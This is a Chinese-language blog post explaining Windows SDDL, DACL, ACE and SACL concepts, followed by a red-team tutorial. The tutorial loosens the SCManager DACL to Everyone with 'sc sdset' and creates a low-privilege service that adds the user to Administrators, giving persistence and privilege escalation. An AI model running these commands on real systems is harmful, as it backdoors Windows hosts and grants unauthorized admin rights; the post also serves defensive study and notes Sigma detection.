Malware Dev 02 - Windows SDDL 后门利用之 SCManager

news2024/9/23 11:26:11

写在最前

如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:

https://discord.gg/9XvvuFq9Wb

我拥有 OSCP,OSEP,OSWE,OSED,OSCE3,CRTO,CRTP,CRTE,PNPT,eCPPTv2,eCPTXv2,KLCP,eJPT 证书。

所以,我会提供任一证书备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~


背景

看到 Grzegorz Tworek(@0gtweet)的有关于 SDDL 后门利用的推文,感觉非常新奇。所以花时间学习了一下 SDDL,并且动手实践了一下 SCManager 的利用。

Windows 的访问控制(或者就是权限管理)让人摸不着头脑(想象 Linux 真的是单纯又简单),一会儿 SDDL,一会儿 ACL,一会儿 ACE,一会儿 DACL,一会儿 SACL,一会儿安全描述符(Security Descriptors),这些都是什么东西。这篇文章,我们一起浅析一下 Windows 访问控制(Access Control)。

其实不用被这么多术语所迷惑,等我们接下来用实际的例子把 SDDL 解释一遍,整个 Windows 访问控制就基本上清晰了。

在对 Windows SDDL 权限管理有一定的了解之后,我们再一起看一下对于 SDDL 的后门利用。

Windows 访问控制列表(Access Control List)

定义

Windows 访问控制,或者通常就叫权限,是随处可见的。每一个文件,每一个文件夹,甚至每一个注册表的键值,每一个服务,都有各自的权限(Permissions)。

每个用户,或者组,对于一个文件的权限。

在这里插入图片描述

每个用户,或者组,对于一个文件夹的权限。

在这里插入图片描述

每个用户,或者组,对于一个注册表键值对的权限。

在这里插入图片描述

以上看到的内容,就是 Windows 中,一个用户,或者组的 Access Control List(访问控制列表)。这是 GUI 上的样子,那么我们深入到最底层,Access Control List 又是什么样子的呢?

我们来看一下用户或者组,对于一个 Windows 服务的权限。

拿 Print Spooler 服务举例。

sc.exe sdshow Spooler

这就是 Windows 访问控制列表的真实样子。以下红框中的内容,就是本文要剖析的,Windows SDDL 安全描述符定义语言。

在这里插入图片描述
看到这里,想必大家会深深爱上 Linux 😄

Access Control List(访问控制列表),是 Windows 整个权限系统的统称。如果有一个包含关系,那么 Access Control List 就是外层最大的那一个圈,包含着接下来讨论的所有概念。

Windows SDDL

定义

SDDL,Security Descriptor Definition Language,是 Windows 中,以 字符串形式 来对一个对象的 安全描述符 做定义的语言。

安全描述符,指的是一种可以表示一个对象的所有者(O),所属组(G),对不同主体(用户,组)所开放的权限(DACL),以及系统审计规则(SACL)的数据结构。如下图。

图片来自https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ec52bde3-9c86-4484-9080-e72148a2d53b

字符串形式,指的就是 安全描述符 的表现形式。

SDDL,就是用来定义 安全描述符 的语言。

在这里插入图片描述
上图红框中过的字符串,就是 Print Spooler 服务的 SDDL 定义。

SDDL 的格式

SDDL 的格式如下:

O:owner_sid
G:group_sid
D:dacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)
S:sacl_flags(string_ace_1)(string_ace_2)…(string_ace_n)

如果 SDDL 以 D 开头,代表着这条 SDDL 定义的是一条 DACL。

如果 SDDL 以 S 开头,代表着这条 SDDL 定义的是一条 SACL。

DACL 和 SACL,都包含着数量不等的 ACE(string_ace)。

每一条 ACE,都包含着 6 个以分号分隔的成员。我们之后会展开细说。

O 和 G 不常出现,也不是我们的重点。

接下来,我们就这里出现的几个新术语,DACL,ACE,SACL,一一做解释。

DACL

定义

DACL, Discretionary Access Control List,中文译为 自由访问控制列表。其实有点不太准确。Discretionary,翻译成 量化,可能更为恰当。量化控制列表,指的就是对于各个不同的主体,我们分别给与了什么样的权限。

我们以 test-file.txt 文件的 SDDL 来举例说明。

cacls test-file.txt /S

在这里插入图片描述

D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;S-1-5-21-1230430613-953561775-1632160640-1001)

上一小节说过,如果 SDDL 以字母 D 开头,代表着这条 SDDL 定义的是一条 DACL。

我们接着看一下 DACL 包含什么内容。

ACE

定义

ACE 定义了一个主体对于另一个主体的具体权限。比如用一个用户对一个文件,有读、写权限。这就是一条 ACE。

格式

DACL 包含着数量不等的 ACE(string_ace),每一条 ACE,由圆括号包裹。

之前提到了,每一条 ACE 都包含着 6 个以分号分隔的成员。这些成员的信息如下:

ACE type (allow/deny/audit);ACE flags (inheritance and audit settings);Permissions (list of incremental permissions); ObjectType (GUID);Inherited Object Type (GUID);Trustee (SID)

下图中每一个红框中,代表的就是这个 DACL 中的 一条 ACE。

在这里插入图片描述

这个 DACL 共有 3 条 ACE,这和 GUI 中的信息是如何对应的呢?

这是 test-file.txt 的 Access Control List。

在这里插入图片描述

下图 DACL 中的三条 ACE,就是上图红框中的三个主体,以及绿框中的具体权限,在 SDDL 中的体现。

在这里插入图片描述

那么这些 GUI 上的具体权限,与 ACE 中的 6 个成员是如何对应的呢?

这里,就引出几张表,大家一看就明白了。图片中列出了每一个成员的可能值,以及解释。在图片之后,我们将对几个 ACE 对应着表格,做一个比对。

ACE 成员 1,ACE Type

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

ACE 成员 2,ACE Flags

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

ACE 成员 3,Permissions

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

ACE 成员 4,Object Type 。如果存在,会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。

ACE 成员 5,Inherited Object Type 。如果存在,会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。

ACE 成员 6,Trustee

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

我们参照图片,来翻译一下第一条 ACE 的意思。

在这里插入图片描述

第一个条 ACE:

(A;;FA;;;SY)

解释:

// ACE Type
A -> Access Allowed,该用户的被允许访问该文件

// ACE Flags
空

// Permissions
FA -> File All Access,该用户对这个文件有完全控制权(增删改)

// Object Type
空

// Inherited Object Type
空

// Trustee
SY -> 这条 ACE 被赋予 Local System

Local System 可以访问 test-file.txt,并对该文件有完全控制权(Full Control)。

在 GUI 中验证一下。

在这里插入图片描述

没有问题。

其他的 ACE,大家可以参照上面的图片,自行翻译。

SACL

定义

SACL,System Access Control List,是用于 Windows 主体的被访问结果审计的。可以生成关于一个主体访问成功与否的日志。

作用

这个概念不是重点,我们演示一下即带过。

为 test-file.txt 增加 SACL。

首先添加本地对象审计策略。

Local Security Policy -> Local Policies -> Audit Policy -> Audit object access.

在这里插入图片描述

选择 Success,Failure。点击 Apply 生效。

在这里插入图片描述

右键 test-file.txt,选择 Advanced。

在这里插入图片描述

选择 Auditing。然后点击 Continue。

在这里插入图片描述

选择 Add。

在这里插入图片描述

选择 Select a principal 添加主体。

在这里插入图片描述

我们增加自己到 SACL。

在这里插入图片描述

在 Type 下拉框中选择要审计的访问结果。这里我们选择 Success 做演示。

在这里插入图片描述

最后选择 OK 完成 SACL 添加。

点击 Apply 使 SACL 生效。

在这里插入图片描述

然后打开 Event Viewer -> Windows Logs -> Security,点击右侧 Filter Current Log…

增加 4663,4656 为过滤事件 ID。

在这里插入图片描述

打开一下 test-file.txt,在 Event Viewer 中就可以看到被系统记录的日志信息。

在这里插入图片描述

接下来说重点。

在理解了 Windows Access Control 以及 SDDL 之后。我们看一下红队如何利用 SDDL 做后门。

Windows SDDL Backdoor

“Admin rights is not the end, it’s just the beginning.”

拿到了 Admin 权限,这在红队中只是个开始。做后门的功夫决定了权限维持的效果。

今天说了那么多,就是要利用 Windows SDDL 做一个后门。

SCManager

我们之前说的,Windows 中的每一个主体,都有相应的访问控制列表。

这里的思路,是修改这个主体的 SDDL,让特定的主体,对其有完全控制的权限。

候选人,就是 SCManager。SCManager是服务相关的管理工具。服务的创建,运行都依赖 SCManager。psexec 也是调用 SCManager 来启动服务的。

这里使用一个非 Admin 账户来演示整个过程。

SCManager Backdoor

首先我们看一下 SCManager 默认的访问控制设置。

ConvertFrom-SddlString -Sddl $(sc.exe sdshow scmanager | select -last 1) | select -Expand DiscretionaryAcl

在这里插入图片描述

可以看到地权限的 Authenticated Users,是只有 ListDirectory 权限的。意味着地权限用户是无法创建,并运行一个服务。

我们验证一下。

添加一个低权限用户。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

确认一下 SCManager 访问控制是默认配置。

在这里插入图片描述

我们尝试用地权限用户创建一个服务。

sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\notepad.exe" start= auto

在这里插入图片描述

一巴掌直接糊连上,告诉你你没有权限。

那么我们尝试修改一下 SCManager 的访问控制,将其修改为 Everyone 都能有完全控制权限。

sc sdset scmanager D:(A;;KA;;;WD)

对照附录的 ACE 成员表,这个 ACE 的意思是:

  • D: 这是一个 DACAL 定义
  • A 允许访问
  • KA 访问权限为 Key All Access
  • WD 访问权限被赋予 Everyone 组

意思是 Everyone 都能对 SCManager 的注册表值进行更改,也就是能任意创建服务,并以 System 身份运行。

为什么是注册表我们等下会看到,创建的服务都在 HKLM\SYSTEM\CurrentControlSet\Services 键下面。

以下是设置结果,注意这个命令需要 Admin 权限。

sc sdset scmanager D:(A;;KA;;;WD)

在这里插入图片描述

查看一下现在 SCManager 的访问控制权限 SDDL。

在这里插入图片描述

Everyone 已经对 SCManager 有完全控制权限。

我们再次尝试用低权限账户创建一个服务。

sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\notepad.exe"  start= auto

在这里插入图片描述

成功创建服务。可以在注册表中找到新创建的服务。

在这里插入图片描述

我们可以创建服务,但是是无权启动服务的。我们只能设置服务为自动启动,那么等待用户重启电脑的时候,就能执行后门程序。

我们尝试添加地权限用户到 Admin 组。

sc create goodsvc displayName= "goodsvc" binPath= "C:\Windows\System32\net.exe localgroup Administrators woohoo /add"  start= auto

在这里插入图片描述

重启电脑。

shutdown /r /t 0

重启之后,用户在 Admin 组下。
在这里插入图片描述

就可以以 Admin 身份运行任意程序了。

在这里插入图片描述

总结

这篇文章对 Windows SDDL 做了简单的解释,同时提供了一种 SDDL 的利用方式。

进攻方可以发散思维,利用 SDDL 和 SCManager 做更加隐秘的权限维持。

防守方可以使用 Sigma, 对 sdset SCManager 权限进行设置的行为进行检测。

另外在实践过程中发现,虽然说可以创建服务,但是对于注册表的 SDDL 中,是不带 Key Delete 权限的。所以低权限用户是无法删除服务的。
在这里插入图片描述

因此操作要谨慎,一旦创建,只有 Admin 账户可以删除该服务。

以此文提供更多的红队思路。

附录

ACE 成员一览

ACE 成员 1,ACE Type

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

ACE 成员 2,ACE Flags

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

ACE 成员 3,Permissions

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

ACE 成员 4,Object Type 。如果存在,会以 GUID 的形式出现。他将限制这条 ACE 只对该 GUID 代表的对象生效。通常不出现。

ACE 成员 5,Inherited Object Type 。如果存在,会以 GUID 的形式出现。他将限制对于这条 ACE 的继承只对该 GUID 代表的对象的子对象生效。通常不出现。

ACE 成员 6,Trustee

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

图片来自https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/

参考链接

  • https://learn.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissions
  • http://waynes-world-it.blogspot.com/2008/03/sddl-syntax-in-secedit-security.html
  • https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
  • https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists
  • https://learn.microsoft.com/en-us/windows/win32/secauthz/security-identifiers
  • https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptors
  • https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_c189801e-3752-4715-88f4-17804dad5782
  • https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/9baf9127-2ffb-4dda-aa45-0efcf409cee5#gt_d727f612-7a45-48e4-9d87-71735d62b321
  • https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-azod/ec52bde3-9c86-4484-9080-e72148a2d53b
  • https://www.installsetupconfig.com/win32programming/accesscontrollistacl1.html
  • https://learn.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
  • https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/access-control
  • https://www.winhelponline.com/blog/view-edit-service-permissions-windows/
  • https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
  • https://learn.microsoft.com/en-us/windows/win32/secgloss/s-gly
  • https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/apply-a-basic-audit-policy-on-a-file-or-folder
  • https://learn.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
  • https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/create-user-defined-service

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/383142.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于tf.gather函数batch_dims参数用法的理解

关于tf.gather函数batch_dims参数用法的理解0 前言1. 不考虑batch_dims2. 批处理(考虑batch_dims)2.1 batch_dims12.2 batch_dims02.3 batch_dims>22.4 batch_dims再降为12.5 再将axis降为12.6 batch_dims<02.7 batch_dims总结3. 补充4. 参数和返回值5. 其他相关论述6. 附…

3.2 http协议

一.HTTP协议1.概述是计算机网络的核心概念,是一种网络协议网络协议种类非常多,其中IP,TCP,UDP...其中还有一个应用非常广泛的协议.HTTPHTTP协议是日常开发中用的最多的协议HTTP处在TCP/IP五层协议栈的应用层HTTP在传输层是基于TCP的,(http/1 HTTP/2是基于TCP,最新版本的HTTP/3是…

交换机电口、光口、网络速率的基本概念总结

电口和光口千兆网 & 万兆网&#xff1a;POE&#xff1a;包转发率&#xff1a;背板带宽/交换容量&#xff1a;)电口和光口 电口&#xff1a; 电口也即RJ45口&#xff0c;插双绞线的端口&#xff08;网线&#xff09;&#xff0c;一般速率为10M或100M&#xff0c;即为百兆工…

[数据结构]:09-二分查找(顺序表指针实现形式)(C语言实现)

目录 前言 已完成内容 二分查找实现 01-开发环境 02-文件布局 03-代码 01-主函数 02-头文件 03-PSeqListFunction.cpp 04-SearchFunction.cpp 结语 前言 此专栏包含408考研数据结构全部内容&#xff0c;除其中使用到C引用外&#xff0c;全为C语言代码。使用C引用主要…

2023年3月北京/上海/广州/深圳DAMA数据管理认证CDGA/CDGP

弘博创新是DAMA中国授权的数据治理人才培养基地&#xff0c;贴合市场需求定制教学体系&#xff0c;采用行业资深名师授课&#xff0c;理论与实践案例相结合&#xff0c;快速全面提升个人/企业数据治理专业知识与实践经验&#xff0c;通过考试还能获得数据专业领域证书。 DAMA认…

【JavaWeb】数据链路层协议——以太网 + 应用层协议——DNS

以太网 以太网不是一个具体的网络&#xff0c;而是一个技术标准&#xff0c;主要应用于数据链路层和物理层。 以太网数据帧结构 以太网的数据帧结构由三部分构成&#xff1a; 帧头 载荷 帧尾 其中的MAC地址是六位&#xff0c;这样就比IPV4所表示的地址大很多&#xff0c;…

Idea git 回滚远程仓库版本

目标 回滚远程仓库到特定版本。 将【添加test03】版本回滚到【行为型模式】版本。 回滚前的效果图 步骤 ①复制需要回滚到的版本的版本号 ②右键项目&#xff0c;选择Git-Repository-Reset Head ③Reset Type选择Hard&#xff1b;To Commit填入步骤①复制的版本号&#xff…

【Flutter·学习实践】运行项目及解决各种报错

文章目录 简介 项目目录介绍 运行报错&#xff1a;Exception: Gradle task assembleDebug failed with exit code 1 简介 我As的版本信息&#xff1a;Android Studio Dolphin | 2021.3.1 Patch 1 上一张搭建好了开发环境我们就开始运行程序检验项目是否存在问题。 项目目…

《分布式技术原理与算法解析》学习笔记Day27

故障隔离 什么是故障隔离&#xff1f; 故障隔离&#xff0c;就是采用一定策略&#xff0c;以实现当某个模块发生故障时&#xff0c;不会影响其他模块继续提供服务&#xff0c;以保证整个系统的可用性&#xff0c;它可以避免分布式系统出现大规模的故障&#xff0c;甚至是瘫痪…

spark history文件占用磁盘过高问题解决

我们目前用的spark版本还是2.x spark的history事件是保存在hdfs上的&#xff0c;通过spark.history.fs.logDirectory指定保存的hdfs目录 使用中发现history日志文件占用磁盘还挺高的 于是写了一个脚本来定期进行清理&#xff0c;只保留一定时间的文件 对于spark离线任务来说…

开学季哪个电容笔好?2023口碑最好电容笔推荐

虽说苹果原装的电容笔非常好用&#xff0c;性能也非常不错&#xff0c;但由于价格昂贵&#xff0c;普通的学生是没办法购买的&#xff0c;再加上重量比较大&#xff0c;使用时间长了&#xff0c;难免会让人感觉到疲劳。如果仅仅是为了学习记笔记&#xff0c;那就没必要再去购买…

ubuntu搭建 自动驾驶单目3d检测smoke 环境

论文&#xff1a;SMOKE&#xff1a;Single-Stage Monocular 3D Object Detection via Keypoint Estimation 论文链接 源码 操作系统&#xff1a;ubuntu18.04 显卡&#xff1a;RTX2080TI 一、搭环境(前面和GitHub上一样&#xff0c;补上我踩的坑) 1.创建虚拟环境 conda create…

PayPal轮询系统解放你的生产力助力起航

现在很多跨境商家手里都有很多PayPal账号&#xff0c;本来多个PayPal账号就是为了防止一个账号出现问题&#xff0c;导致工作没办法继续下去。但是手动切换让很多盯站的商家觉得很麻烦。而且多账号之间本可以相互配合&#xff0c;让彼此的安全系数越来越高&#xff0c;风控越来…

win10 设备管理器中的黄色感叹号(华硕)

目录一、前言二、原因三、方案四、操作一、前言 打开设备管理器&#xff0c;我们可以看到自己设备的信息&#xff0c;但是在重装系统后&#xff0c;你总会在不经意间发现。咦&#xff0c;怎么多了几个感叹号&#xff1f;&#xff1f;&#xff1f; 由于我已经解决该问题&#…

数据库事务详解

概述事务就是数据库为了保证数据的原子性,持久性,隔离性,一致性而提供的一套机制, 在同一事务中, 如果有多条sql执行, 事务可以确保执行的可靠性.数据库事务的四大特性一般来说, 事务是必须满足 4 个条件&#xff08;ACID&#xff09;&#xff1a;原子性&#xff08;Atomicity&…

vscode ssh一直卡在wget的解决方案

vscode ssh一直卡在wget的解决方案找到commit_id 在服务器下点进该目录 .vscode-server\bin 一般日期最新的那一串就是我们需要的commit_id下载vscode-server-linux-x64.tar https://update.code.visualstudio.com/commit:${commit_id}/server-linux-x64/stable 将加粗部分替换…

2023年天津财经大学珠江学院专升本专业课考试题型

天津财经大学珠江学院关于2023年高职升本科专业课考试时间及题型一、专业课考试 &#xff08;一&#xff09;时间安排 2023年天津财经大学珠江学院高职升本科专业课考试定于2023年3月25日14&#xff1a;00-17:00进行&#xff0c;凡报考工商管理、旅游管理、税收学专业的考生&am…

智慧监所三维综合管控平台 构建数字智慧监管体系

建设背景监狱肩负着戒治管理、维持监所安全稳定等职责&#xff0c;目前全国有监管场所5500多个&#xff0c;监狱680多个。近年来&#xff0c;司法部不断加大司法行政改革力度&#xff0c;持续推进“数字法治&#xff0c;智慧司法”信息化体系建设战略部署。“智慧监狱”管理应用…

变更数据捕获(CDC)

从广泛意义上说&#xff0c;全球许多企业每天都需要通过频繁的数据批量处理与加载&#xff0c;来定期将数据从一个数据库迁移到另一个数据库(或数据仓库)。这类定期批量加载的工作&#xff0c;往往既耗费时间&#xff0c;又会消耗原始系统的大量处理能力。因此&#xff0c;管理…

design\project\学习 OAuth 读书笔记(二)

OAuth&#xff08;二&#xff09; 原文链接&#xff1a;OAuth 2.0 tutorial | OAuth flows 本文假设您已经看过 OAuth&#xff08;一&#xff09; 目录OAuth&#xff08;二&#xff09;OpenId ConnectOAuth2&#xff1a;令牌自检&#xff08;Token Introspection&#xff09;…